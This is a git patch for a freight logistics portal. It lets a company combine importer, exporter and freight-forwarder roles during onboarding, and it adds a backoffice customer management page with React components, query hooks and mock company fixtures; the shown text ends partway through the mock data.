a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -1,6 +1,6 @@ import { Modal, ScrollArea, Stack, Text } from "@mantine/core"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; -import { useCallback, useRef, useState } from "react"; +import { useCallback, useEffect, useRef, useState } from "react"; import useAuth from "@/hooks/useAuth"; import { api } from "@/services/api"; @@ -13,9 +13,7 @@ import { companiesService } from "@/services/companies.service"; import type { UpdateProfilePayload } from "@/types/profile"; import { extractApiError } from "@/utils/result"; import CompanyProfileForm from "@/pages/accounts/CompanyProfileForm"; -import ForwarderForm from "@/pages/accounts/ForwarderForm"; import type { RoleLicenseProfile } from "@/components/onboarding/RoleLicenseStep"; -import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; import NationalitySelect from "@/pages/settings/NationalitySelect"; import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; @@ -42,9 +40,14 @@ interface OnboardingWizardDialogProps { onClose: () => void; } -/** Map the chosen operational roles to the company type they belong to. */ -function companyTypeForRoles(roles: string[]): string { - return roles.includes(FREIGHT_FORWARDER.type) ? "forwarder" : "customer"; +/** + * The company type for the onboarding selection. Importer / Exporter / Freight + * Forwarder are all services a single "customer" company can hold (in any + * combination), each with its own business license — so the company is always + * registered as a "customer". + */ +function companyTypeForRoles(_roles: string[]): string { + return "customer"; } /** Document upload setting code per company nationality. */ @@ -161,6 +164,23 @@ export default function OnboardingWizardDialog({ api.companies.setOnboardingStep.call({ step }).catch(() => {}); }, []); + // The company query may resolve AFTER this dialog mounts (it's kept mounted by + // the gate), so the phase/roles/nationality initial state can be stale — a + // draft that already exists would otherwise leave us stuck on the first + // (nationality) phase. Once a draft loads, jump straight into the form with + // the persisted roles/nationality. Runs once per resumed draft. + const resumedRef = useRef(false); + useEffect(() => { + if (!companyAlreadyStarted || resumedRef.current) return; + resumedRef.current = true; + setRoles(existingProfiles.map((p) => p.type)); + setNationality(savedNationality); + setPhase("form"); + const idx = FORM_STEPS.indexOf(resumeFormStep); + if (idx > furthestIdxRef.current) furthestIdxRef.current = idx; + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [companyAlreadyStarted, resumeFormStep]); + const handleNationalityContinue = useCallback(() => { if (nationality) setPhase("role"); }, [nationality]); @@ -205,8 +225,7 @@ export default function OnboardingWizardDialog({ if (!user) return null; - const isForwarder = roles.includes(FREIGHT_FORWARDER.type); - // Importer+Exporter (or either alone) is a valid customer selection. + // Any non-empty combination of importer/exporter/freight-forwarder is valid. const rolesValid = roles.length > 0; // Documents depend on nationality; fall back to the saved one (resume) then ethiopian. const effectiveNationality: CompanyNationality = @@ -293,8 +312,6 @@ export default function OnboardingWizardDialog({ onClick={handleRolesContinue} /> - ) : isForwarder ? ( - ) : ( )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index f64fd7efd..fca6ecb44 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -406,6 +406,10 @@ export default function CompanyProfileForm({ const [contactIsPoa, setContactIsPoa] = useState(false); const handleETradeDataLoaded = (data: CompanyRegistrationData) => { + // Company name comes from the eTrade manager/owner name on the license. + if (data.managerName) { + setValue("companyName", data.managerName, { shouldValidate: true }); + } setValue("licenceNumber", data.licenceNumber); setValue("statusDescription", data.statusDescription); setValue("dateRegistered", data.dateRegistered); @@ -673,11 +677,10 @@ export default function CompanyProfileForm({ /> - {watch("licenceNumber") && ( - <> + <> - Registration Details from eTrade + Registration Details - )} )} diff --git a/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx b/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx index 00aa8aeb6..89fd0c3f9 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx @@ -72,7 +72,7 @@ export default function CompanyRolesCard({ profile }: CompanyRolesCardProps) { {profile.companyType === "customer" - ? "Select the role(s) your company operates as — importer, exporter, or both." + ? "Select the service(s) your company operates as — importer, exporter and/or freight forwarder." : "Your company's operational role."} diff --git a/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx b/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx index faa9e7377..d5196d024 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx @@ -1,39 +1,34 @@ -import { Card, Divider, Group, SimpleGrid, Text, Title } from "@mantine/core"; +import { Card, Group, SimpleGrid, Text, Title } from "@mantine/core"; import { Building2 } from "lucide-react"; import RoleCard from "./RoleCard"; -import { CUSTOMER_ROLES, FREIGHT_FORWARDER } from "./companyRoles"; +import { CUSTOMER_ROLES } from "./companyRoles"; interface OnboardingRoleSelectProps { - /** Currently selected profile types (e.g. ["importer"], ["importer","exporter"], ["freight_forwarder"]). */ + /** Currently selected profile types (e.g. ["importer"], ["importer","exporter","freight_forwarder"]). */ value: string[]; onChange: (next: string[]) => void; } /** * First (and only) thing shown in the Company Profile tab during onboarding. - * Importer / Exporter sit side by side and can both be picked; Freight - * Forwarder is a separate, mutually-exclusive choice below them. A valid - * selection reveals the company-profile fields. + * Importer / Exporter / Freight Forwarder are independent services that can be + * picked in any combination — each becomes its own profile (with its own + * business license) under the same company. A valid selection reveals the + * company-profile fields. */ export default function OnboardingRoleSelect({ value, onChange, }: OnboardingRoleSelectProps) { const selected = new Set(value); - const isForwarder = selected.has(FREIGHT_FORWARDER.type); - // Toggling a customer role drops any forwarder selection (mutually exclusive). - const toggleCustomerRole = (type: string) => { - const next = new Set(value.filter((t) => t !== FREIGHT_FORWARDER.type)); + const toggleRole = (type: string) => { + const next = new Set(value); if (next.has(type)) next.delete(type); else next.add(type); onChange([...next]); }; - const toggleForwarder = () => { - onChange(isForwarder ? [] : [FREIGHT_FORWARDER.type]); - }; - return ( @@ -41,7 +36,8 @@ export default function OnboardingRoleSelect({ What does your company do? - Pick Importer, Exporter, or both — or register as a Freight Forwarder. + Pick any combination of Importer, Exporter and Freight Forwarder — each + is set up with its own business license. @@ -52,26 +48,10 @@ export default function OnboardingRoleSelect({ description={role.description} icon={role.icon} selected={selected.has(role.type)} - onClick={() => toggleCustomerRole(role.type)} + onClick={() => toggleRole(role.type)} /> ))} - - - - ); } diff --git a/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx b/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx index d875d68af..58b9f18d1 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx @@ -28,8 +28,12 @@ export const FREIGHT_FORWARDER: RoleMeta = { icon: , }; -/** Importer / Exporter — the two roles a "customer" company can hold. */ -export const CUSTOMER_ROLES: RoleMeta[] = [IMPORTER, EXPORTER]; +/** + * Importer / Exporter / Freight Forwarder — the services a "customer" company + * can hold. A single company may register for any combination, each getting its + * own business license. + */ +export const CUSTOMER_ROLES: RoleMeta[] = [IMPORTER, EXPORTER, FREIGHT_FORWARDER]; // dj_freight_forwarder and transporter are intentionally not exposed yet. export function rolesForCompanyType(companyType: string): RoleMeta[] { From c6bc6364958ee652cea0179176b6d877322b263a Mon Sep 17 00:00:00 2001 From: Nathnael Date: Mon, 22 Jun 2026 12:32:52 +0000 Subject: [PATCH 22/30] feat(customers): implement customer management page with mock data - Created CustomersPage component to display a list of companies with search and pagination features. - Added mock data for companies, including various statuses and profiles. - Implemented a service layer to simulate API calls for fetching company data, bookings, documents, and payments. - Defined TypeScript types for company and related entities to ensure type safety. - Integrated Mantine components for UI consistency and improved user experience. --- apps/edr-freight-web/backoffice/src/App.tsx | 24 +- .../src/components/customers/TableCard.tsx | 32 + .../src/components/customers/badges.tsx | 209 +++++ .../src/components/customers/format.ts | 38 + .../src/components/customers/index.ts | 11 + .../backoffice/src/constants/QUERY_KEYS.ts | 7 +- .../src/hooks/customers/useCustomers.ts | 44 ++ .../pages/customers/CustomerDetailPage.tsx | 559 +++++++++++++- .../src/pages/customers/CustomersPage.tsx | 277 ++++++- .../src/pages/customers/customers.mock.ts | 722 ++++++++++++++++++ .../src/services/customers.service.ts | 72 ++ .../backoffice/src/types/customer.ts | 154 ++++ 12 files changed, 2124 insertions(+), 25 deletions(-) create mode 100644 apps/edr-freight-web/backoffice/src/components/customers/TableCard.tsx create mode 100644 apps/edr-freight-web/backoffice/src/components/customers/badges.tsx create mode 100644 apps/edr-freight-web/backoffice/src/components/customers/format.ts create mode 100644 apps/edr-freight-web/backoffice/src/components/customers/index.ts create mode 100644 apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts create mode 100644 apps/edr-freight-web/backoffice/src/pages/customers/customers.mock.ts create mode 100644 apps/edr-freight-web/backoffice/src/services/customers.service.ts create mode 100644 apps/edr-freight-web/backoffice/src/types/customer.ts diff --git a/apps/edr-freight-web/backoffice/src/App.tsx b/apps/edr-freight-web/backoffice/src/App.tsx index aae725618..053ce0337 100644 --- a/apps/edr-freight-web/backoffice/src/App.tsx +++ b/apps/edr-freight-web/backoffice/src/App.tsx @@ -1,5 +1,6 @@ import { Boxes, + Building2, Container, FileText, LayoutDashboard, @@ -27,6 +28,8 @@ import BookingContractPage from "./pages/bookings/BookingContractPage"; import BookingRequestDetailPage from "./pages/bookings/BookingRequestDetailPage"; import BookingRequestsPage from "./pages/bookings/BookingRequestsPage"; import NewBookingPage from "./pages/bookings/NewBookingPage"; +import CustomerDetailPage from "./pages/customers/CustomerDetailPage"; +import CustomersPage from "./pages/customers/CustomersPage"; import DemoUser1Page from "./pages/dashboard/demo/DemoUser1Page"; import DemoUser2Page from "./pages/dashboard/demo/DemoUser2Page"; import MyProfilePage from "./pages/dashboard/MyProfilePage"; @@ -49,13 +52,13 @@ import { getCategorySidebarChildren } from "./pages/ruleEngine/config/resources" import RuleEngineLegacyRedirect from "./pages/ruleEngine/RuleEngineLegacyRedirect"; import RuleEngineResourcePage from "./pages/ruleEngine/RuleEngineResourcePage"; import TrainDetailPage from "./pages/trains/TrainDetailPage"; -import CargoTypesPage from "./pages/ruleEngine/CargoTypesPage"; -import TrainScheduleV2ListPage from "./pages/trainScheduling/TrainScheduleV2ListPage"; -import BatchBoardPage from "./pages/trainScheduling/BatchBoardPage"; -import BatchScheduleDetailPage from "./pages/trainScheduling/BatchScheduleDetailPage"; -import TrainScheduleTrackPage from "./pages/trainScheduling/TrainScheduleTrackPage"; -import TrainScheduleV2DetailPage from "./pages/trainScheduling/TrainScheduleV2DetailPage"; -import TrainSchedulingGlobalRulesPage from "./pages/trainScheduling/TrainSchedulingGlobalRulesPage"; +import CargoTypesPage from "./pages/ruleEngine/CargoTypesPage"; +import TrainScheduleV2ListPage from "./pages/trainScheduling/TrainScheduleV2ListPage"; +import BatchBoardPage from "./pages/trainScheduling/BatchBoardPage"; +import BatchScheduleDetailPage from "./pages/trainScheduling/BatchScheduleDetailPage"; +import TrainScheduleTrackPage from "./pages/trainScheduling/TrainScheduleTrackPage"; +import TrainScheduleV2DetailPage from "./pages/trainScheduling/TrainScheduleV2DetailPage"; +import TrainSchedulingGlobalRulesPage from "./pages/trainScheduling/TrainSchedulingGlobalRulesPage"; import ArrivalQueuePage from "./pages/warehouses/ArrivalQueuePage"; import DispatchQueuePage from "./pages/warehouses/DispatchQueuePage"; import InventoryInquiryPage from "./pages/warehouses/InventoryInquiryPage"; @@ -87,6 +90,11 @@ const buildSidebarSections = (demoItems: SidebarItem[]): SidebarSection[] => [ href: "/dashboard/booking-requests", icon: , }, + { + label: "Customers", + href: "/dashboard/customers", + icon: , + }, { label: "Payments", href: "/dashboard/payments", @@ -338,6 +346,8 @@ const App = () => { } /> + } /> + } /> } /> } /> + + {children} + +
+ ); +} + +export default TableCard; diff --git a/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx b/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx new file mode 100644 index 000000000..4ebdc675d --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx @@ -0,0 +1,209 @@ +import { Badge, Group, Tooltip } from "@mantine/core"; + +import type { + CompanyProfile, + CompanyStatus, + CompanyType, + CustomerBookingStatus, + CustomerPaymentStatus, + ProfileStatus, + ProfileType, +} from "@/types/customer"; + +import { humanize } from "./format"; + +const badgeStyle = { + fontSize: "0.7rem", + letterSpacing: "0.04em", + whiteSpace: "nowrap" as const, +}; + +/** Shared status palette — active/paid green, pending amber, terminal red. */ +const STATUS_COLOR: Record = { + active: "edr-green", + pending: "yellow", + suspended: "orange", + blacklisted: "red", +}; + +const COMPANY_TYPE_COLOR: Record = { + customer: "edr-green", + freight_forwarder: "blue", + dj_freight_forwarder: "indigo", + transporter: "grape", +}; + +const PROFILE_TYPE_COLOR: Record = { + importer: "teal", + exporter: "cyan", + freight_forwarder: "blue", + dj_freight_forwarder: "indigo", + transporter: "grape", +}; + +export function CompanyStatusBadge({ status }: { status: CompanyStatus }) { + return ( + + {status} + + ); +} + +export function CompanyTypeBadge({ type }: { type: CompanyType }) { + return ( + + {humanize(type)} + + ); +} + +/** + * Profile chips for a company row: one chip per role (Importer / Exporter / …) + * carrying its reference code. Caps at three (a company has at most three + * profiles); any extra collapse into a `+N` chip. + */ +export function ProfileChips({ + profiles, + max = 3, +}: { + profiles: CompanyProfile[]; + max?: number; +}) { + if (!profiles.length) { + return ( + + No profiles + + ); + } + + const shown = profiles.slice(0, max); + const extra = profiles.length - shown.length; + + return ( + + {shown.map((profile) => ( + + + {humanize(profile.type)} · {profile.reference} + + + ))} + {extra > 0 ? ( + + +{extra} + + ) : null} + + ); +} + +export function ProfileTypeBadge({ type }: { type: ProfileType }) { + return ( + + {humanize(type)} + + ); +} + +export function ProfileStatusBadge({ status }: { status: ProfileStatus }) { + return ( + + {status} + + ); +} + +const BOOKING_STATUS_COLOR: Record = { + DRAFT: "gray", + SUBMITTED: "yellow", + PENDING_APPROVAL: "yellow", + APPROVED: "cyan", + PAID: "edr-green", + IN_TRANSIT: "blue", + COMPLETED: "indigo", + REJECTED: "red", + CANCELLED: "red", +}; + +export function BookingStatusBadge({ status }: { status: CustomerBookingStatus }) { + return ( + + {humanize(status)} + + ); +} + +const PAYMENT_STATUS_COLOR: Record = { + "action-required": "orange", + processing: "yellow", + success: "edr-green", + failed: "red", + canceled: "gray", + refunded: "grape", +}; + +export function PaymentStatusBadge({ status }: { status: CustomerPaymentStatus }) { + return ( + + {humanize(status)} + + ); +} diff --git a/apps/edr-freight-web/backoffice/src/components/customers/format.ts b/apps/edr-freight-web/backoffice/src/components/customers/format.ts new file mode 100644 index 000000000..0397c1cee --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/components/customers/format.ts @@ -0,0 +1,38 @@ +/** Shared formatting helpers for the customer-management pages. */ + +/** snake_case / SCREAMING_CASE → Title Case. */ +export function humanize(value: string): string { + return value + .toLowerCase() + .split(/[_\s]+/) + .map((part) => part.charAt(0).toUpperCase() + part.slice(1)) + .join(" "); +} + +export function formatDate(value: string | null | undefined): string { + if (!value) return "—"; + const d = new Date(value); + return Number.isNaN(d.getTime()) + ? "—" + : d.toLocaleDateString(undefined, { + year: "numeric", + month: "short", + day: "numeric", + }); +} + +export function formatMoney(amount: number, currency: string): string { + return new Intl.NumberFormat(undefined, { + style: "currency", + currency, + maximumFractionDigits: 0, + }).format(amount); +} + +export function formatBytes(bytes: number): string { + if (!bytes) return "0 B"; + const units = ["B", "KB", "MB", "GB"]; + const i = Math.floor(Math.log(bytes) / Math.log(1024)); + const value = bytes / Math.pow(1024, i); + return `${value.toFixed(i === 0 ? 0 : 1)} ${units[i]}`; +} diff --git a/apps/edr-freight-web/backoffice/src/components/customers/index.ts b/apps/edr-freight-web/backoffice/src/components/customers/index.ts new file mode 100644 index 000000000..f94ca5a73 --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/components/customers/index.ts @@ -0,0 +1,11 @@ +export { + BookingStatusBadge, + CompanyStatusBadge, + CompanyTypeBadge, + PaymentStatusBadge, + ProfileChips, + ProfileStatusBadge, + ProfileTypeBadge, +} from "./badges"; +export { formatBytes, formatDate, formatMoney, humanize } from "./format"; +export { TableCard, type TableCardProps } from "./TableCard"; diff --git a/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts b/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts index e3e1921de..65667fe19 100644 --- a/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts +++ b/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts @@ -1,4 +1,5 @@ import type { BookingListFilter } from "@/services/bookings.service"; +import type { CompanyListFilter } from "@/types/customer"; import type { RuleEngineListParams } from "@/services/ruleEngine/ruleEngine.service"; import type { TrainScheduleFilters } from "@/types/trainScheduling"; import type { FleetResourceSlug } from "@/pages/fleet/config/resources"; @@ -26,8 +27,12 @@ export const QUERY_KEYS = { CUSTOMERS: { ROOT: ["customers"] as const, - list: () => ["customers", "list"] as const, + list: (filter?: CompanyListFilter) => + ["customers", "list", filter ?? {}] as const, byId: (id: string) => ["customers", "detail", id] as const, + bookings: (id: string) => ["customers", "detail", id, "bookings"] as const, + documents: (id: string) => ["customers", "detail", id, "documents"] as const, + payments: (id: string) => ["customers", "detail", id, "payments"] as const, }, BOOKINGS: { diff --git a/apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts b/apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts new file mode 100644 index 000000000..11af924ca --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts @@ -0,0 +1,44 @@ +import { useQuery } from "@tanstack/react-query"; + +import { QUERY_KEYS } from "@/constants/QUERY_KEYS"; +import { customersService } from "@/services/customers.service"; +import type { CompanyListFilter } from "@/types/customer"; + +export function useCustomerList(filter: CompanyListFilter) { + return useQuery({ + queryKey: QUERY_KEYS.CUSTOMERS.list(filter), + queryFn: () => customersService.list(filter), + }); +} + +export function useCustomerDetail(id: string | undefined) { + return useQuery({ + queryKey: QUERY_KEYS.CUSTOMERS.byId(id ?? ""), + queryFn: () => customersService.getById(id!), + enabled: Boolean(id), + }); +} + +export function useCustomerBookings(id: string | undefined) { + return useQuery({ + queryKey: QUERY_KEYS.CUSTOMERS.bookings(id ?? ""), + queryFn: () => customersService.bookingsFor(id!), + enabled: Boolean(id), + }); +} + +export function useCustomerDocuments(id: string | undefined) { + return useQuery({ + queryKey: QUERY_KEYS.CUSTOMERS.documents(id ?? ""), + queryFn: () => customersService.documentsFor(id!), + enabled: Boolean(id), + }); +} + +export function useCustomerPayments(id: string | undefined) { + return useQuery({ + queryKey: QUERY_KEYS.CUSTOMERS.payments(id ?? ""), + queryFn: () => customersService.paymentsFor(id!), + enabled: Boolean(id), + }); +} diff --git a/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx index 1c1571966..dd492281b 100644 --- a/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx @@ -1,12 +1,555 @@ -import FeaturePlaceholder from "@/components/FeaturePlaceholder"; +import { + ActionIcon, + Box, + Button, + Card, + Center, + Container, + Group, + Loader, + SimpleGrid, + Stack, + Tabs, + Text, +} from "@mantine/core"; +import { + ArrowLeft, + ArrowRight, + Banknote, + Download, + FileText, + IdCard, + LayoutGrid, + Package, +} from "lucide-react"; +import { useMemo } from "react"; +import { useNavigate, useParams } from "react-router-dom"; -const CustomerDetailPage = () => { +import { + BookingStatusBadge, + CompanyStatusBadge, + CompanyTypeBadge, + PaymentStatusBadge, + ProfileChips, + ProfileStatusBadge, + ProfileTypeBadge, + TableCard, + formatBytes, + formatDate, + formatMoney, + humanize, +} from "@/components/customers"; +import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; +import { + useCustomerBookings, + useCustomerDetail, + useCustomerDocuments, + useCustomerPayments, +} from "@/hooks/customers/useCustomers"; +import type { + CompanyProfile, + CustomerBooking, + CustomerDocument, + CustomerPayment, +} from "@/types/customer"; +import { DataTable, type ColumnDef } from "@edr/ui-common"; + +function InfoField({ label, value }: { label: string; value?: string | null }) { return ( - + + + {label} + + + {value && value.trim() ? value : "—"} + + ); -}; +} -export default CustomerDetailPage; +function tableStatus(query: { isLoading: boolean; isError: boolean }) { + return query.isLoading ? "loading" : query.isError ? "error" : "success"; +} + +export default function CustomerDetailPage() { + const { id } = useParams<{ id: string }>(); + const navigate = useNavigate(); + + const { data: company, isLoading } = useCustomerDetail(id); + const bookingsQuery = useCustomerBookings(id); + const documentsQuery = useCustomerDocuments(id); + const paymentsQuery = useCustomerPayments(id); + + const bookings = bookingsQuery.data ?? []; + const documents = documentsQuery.data ?? []; + const payments = paymentsQuery.data ?? []; + + const totalPaid = useMemo( + () => + payments + .filter((p) => p.status === "success") + .reduce((sum, p) => sum + p.amount, 0), + [payments], + ); + const paidCurrency = payments[0]?.currency ?? "ETB"; + + const profileColumns: ColumnDef[] = useMemo( + () => [ + { + id: "type", + header: "Role", + cell: ({ row }) => , + }, + { + id: "reference", + header: "Reference", + cell: ({ row }) => ( + + {row.original.reference} + + ), + }, + { + id: "businessLicense", + header: "Business license", + cell: ({ row }) => ( + + {row.original.businessLicense || "—"} + + ), + }, + { + id: "status", + header: "Status", + cell: ({ row }) => , + }, + { + id: "createdAt", + header: "Registered", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + {formatDate(row.original.createdAt)} + + ), + }, + ], + [], + ); + + const bookingColumns: ColumnDef[] = useMemo( + () => [ + { + id: "reference", + header: "Booking", + cell: ({ row }) => ( + + {row.original.reference} + + ), + }, + { + id: "route", + header: "Route", + cell: ({ row }) => { + const b = row.original; + return ( + + + {b.originLabel} + + + + {b.destinationLabel} + + + ); + }, + }, + { + id: "type", + header: "Type", + cell: ({ row }) => ( + + {humanize(row.original.tradeDirection)} ·{" "} + {humanize(row.original.freightType)} + + ), + }, + { + id: "status", + header: "Status", + cell: ({ row }) => , + }, + { + id: "amount", + header: "Amount", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + {formatMoney(row.original.totalAmount, row.original.currency)} + + ), + }, + { + id: "createdAt", + header: "Created", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + {formatDate(row.original.createdAt)} + + ), + }, + ], + [], + ); + + const documentColumns: ColumnDef[] = useMemo( + () => [ + { + id: "name", + header: "Document", + cell: ({ row }) => ( + + + + {row.original.name} + + + ), + }, + { + id: "code", + header: "Type", + cell: ({ row }) => ( + + {humanize(row.original.code)} + + ), + }, + { + id: "size", + header: "Size", + cell: ({ row }) => ( + + {formatBytes(row.original.size)} + + ), + }, + { + id: "uploadedAt", + header: "Uploaded", + cell: ({ row }) => ( + + {formatDate(row.original.uploadedAt)} + + ), + }, + { + id: "actions", + header: "", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + + + ), + }, + ], + [], + ); + + const paymentColumns: ColumnDef[] = useMemo( + () => [ + { + id: "reference", + header: "Payment", + cell: ({ row }) => ( + + {row.original.reference} + + ), + }, + { + id: "booking", + header: "Booking", + cell: ({ row }) => ( + + {row.original.bookingReference} + + ), + }, + { + id: "method", + header: "Method", + cell: ({ row }) => ( + + {humanize(row.original.method)} + + ), + }, + { + id: "status", + header: "Status", + cell: ({ row }) => , + }, + { + id: "paidAt", + header: "Paid", + cell: ({ row }) => ( + + {formatDate(row.original.paidAt)} + + ), + }, + { + id: "amount", + header: "Amount", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + {formatMoney(row.original.amount, row.original.currency)} + + ), + }, + ], + [], + ); + + if (isLoading) { + return ( +
+ +
+ ); + } + + if (!company) { + return ( + + + Customer not found + + + + ); + } + + return ( + + + + + + } + /> + + + + }> + Overview + + }> + Bookings + + }> + Documents + + }> + Payments + + + + {/* OVERVIEW */} + + + + + + + + Company information + + + + + + + + + + + + + + + + + + + + + + + + + + Role profiles + + + + + + + + + + + + + + {/* BOOKINGS */} + + + void bookingsQuery.refetch(), + } + : undefined + } + /> + + + + {/* DOCUMENTS */} + + + void documentsQuery.refetch(), + } + : undefined + } + /> + + + + {/* PAYMENTS */} + + + void paymentsQuery.refetch(), + } + : undefined + } + /> + + + + + ); +} diff --git a/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx b/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx index 8d9158381..8d5384cc3 100644 --- a/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx @@ -1,12 +1,271 @@ -import FeaturePlaceholder from "@/components/FeaturePlaceholder"; +import { + ActionIcon, + Box, + Card, + Group, + Stack, + Text, + TextInput, +} from "@mantine/core"; +import { useDebouncedValue } from "@mantine/hooks"; +import { + Building2, + CheckCircle2, + Clock, + Mail, + Phone, + RefreshCw, + Search, + ShieldOff, + Users, + X, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router-dom"; -const CustomersPage = () => { - return ( - - ); +import { + CompanyStatusBadge, + CompanyTypeBadge, + ProfileChips, + formatDate, +} from "@/components/customers"; +import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; +import { useCustomerList } from "@/hooks/customers/useCustomers"; +import { MOCK_COMPANIES } from "@/pages/customers/customers.mock"; +import type { Company } from "@/types/customer"; +import { + DataTable, + DataTableFooter, + usePagination, + type ColumnDef, +} from "@edr/ui-common"; + +/** KPI counts are derived from the full fixture set (mock-only). */ +const KPIS = { + total: MOCK_COMPANIES.length, + active: MOCK_COMPANIES.filter((c) => c.status === "active").length, + pending: MOCK_COMPANIES.filter((c) => c.status === "pending").length, + blacklisted: MOCK_COMPANIES.filter((c) => c.status === "blacklisted").length, }; -export default CustomersPage; +export default function CustomersPage() { + const navigate = useNavigate(); + const { pagination, setPagination } = usePagination({ pageSize: 10 }); + const [query, setQuery] = useState(""); + const [debouncedQuery] = useDebouncedValue(query, 300); + + const filter = useMemo( + () => ({ + page: pagination.pageIndex + 1, + pageSize: pagination.pageSize, + search: debouncedQuery, + }), + [pagination.pageIndex, pagination.pageSize, debouncedQuery], + ); + + const { data, isLoading, isError, refetch, isFetching } = + useCustomerList(filter); + + const rows = data?.items ?? []; + const total = data?.total ?? 0; + const pageCount = Math.max(1, Math.ceil(total / pagination.pageSize)); + + const columns: ColumnDef[] = useMemo( + () => [ + { + id: "company", + header: "Company", + cell: ({ row }) => { + const c = row.original; + return ( + + + + +
+ + + {c.name} + + + + + TIN {c.tin} + {c.country ? ` · ${c.country}` : ""} + +
+
+ ); + }, + }, + { + id: "profiles", + header: "Profiles", + cell: ({ row }) => , + }, + { + id: "status", + header: "Status", + cell: ({ row }) => , + }, + { + id: "contact", + header: "Contact", + cell: ({ row }) => { + const c = row.original; + return ( + + {c.contactPersonName ? ( + + {c.contactPersonName} + + ) : null} + {c.phone ? ( + + {c.phone} + + ) : null} + {c.email ? ( + + {c.email} + + ) : null} + + ); + }, + }, + { + id: "created", + header: "Registered", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + {formatDate(row.original.createdAt)} + + ), + }, + ], + [], + ); + + return ( + + void refetch()} + > + + + } + /> + + + + + + + + } + value={query} + onChange={(e) => setQuery(e.target.value)} + rightSection={ + query ? ( + setQuery("")} + > + + + ) : null + } + style={{ flex: 1, minWidth: "240px" }} + radius="lg" + /> + + {total} record{total !== 1 ? "s" : ""} + + + + + + + navigate(`/dashboard/customers/${row.id}`)} + emptyMessage={ + debouncedQuery + ? "No companies match your search." + : "No companies yet." + } + error={ + isError + ? { + message: "Failed to load customers.", + onRetry: () => void refetch(), + } + : undefined + } + pagination={{ + pageIndex: pagination.pageIndex, + pageSize: pagination.pageSize, + pageCount, + totalCount: total, + }} + tableOptions={{ + state: { pagination }, + onPaginationChange: setPagination, + manualPagination: true, + pageCount, + }} + containerClassName="border-0 shadow-none bg-transparent" + footer={DataTableFooter} + /> + + + + + + ); +} diff --git a/apps/edr-freight-web/backoffice/src/pages/customers/customers.mock.ts b/apps/edr-freight-web/backoffice/src/pages/customers/customers.mock.ts new file mode 100644 index 000000000..a0f48996c --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/pages/customers/customers.mock.ts @@ -0,0 +1,722 @@ +/** + * Mock fixtures for the Customer Management dashboard. + * + * Shapes match the backend `Company` / `CompanyProfile` entities and the + * lightweight related-data types in `@/types/customer`. Swap the service layer + * to live endpoints later — these fixtures (and the helpers below) are the only + * thing that has to change. + */ +import type { + Company, + CustomerBooking, + CustomerDocument, + CustomerPayment, +} from "@/types/customer"; + +const iso = (date: string) => new Date(date).toISOString(); + +export const MOCK_COMPANIES: Company[] = [ + { + id: "c1", + name: "Abyssinia Import & Export PLC", + type: "customer", + status: "active", + tin: "0012345678", + vatNumber: "VAT-100245", + fanNumber: "FAN-0099", + country: "Ethiopia", + address: "Bole Road, Addis Ababa", + phone: "+251 911 234 567", + email: "ops@abyssinia-ie.com", + contactPersonName: "Selam Bekele", + contactPersonPhone: "+251 911 234 567", 